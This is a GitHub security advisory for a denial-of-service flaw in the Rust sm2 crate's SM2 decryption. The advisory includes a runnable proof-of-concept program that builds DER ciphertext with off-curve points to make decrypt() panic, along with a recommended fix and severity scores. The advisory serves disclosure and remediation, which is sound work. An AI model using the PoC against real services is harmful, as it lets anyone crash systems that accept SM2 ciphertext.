Skip to content

SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()

High severity GitHub Reviewed Published Jan 9, 2026 in RustCrypto/elliptic-curves • Updated Jan 11, 2026

Package

cargo sm2 (Rust)

Affected versions

>= 0.14.0-pre.0, <= 0.14.0-rc.4

Patched versions

None

Description

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when
None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1
encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure
with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),
and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this
produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

  • Denial of Service: an attacker who can submit ciphertext (or DER ciphertext)
    can crash the decrypting thread/process.
  • Low attacker effort: crafting random 32-byte X/Y values that are not on the
    curve is trivial.
  • Wide exposure: any service that accepts ciphertext and links this library is
    vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point().
Instead, convert the CtOption to an Option (or inspect it) and return a
library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab

  • Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at [email protected].

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

References

@tarcieri tarcieri published to RustCrypto/elliptic-curves Jan 9, 2026
Published to the GitHub Advisory Database Jan 9, 2026
Reviewed Jan 9, 2026
Published by the National Vulnerability Database Jan 10, 2026
Last updated Jan 11, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

CVE ID

CVE-2026-22699

GHSA ID

GHSA-78p6-6878-8mj6

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.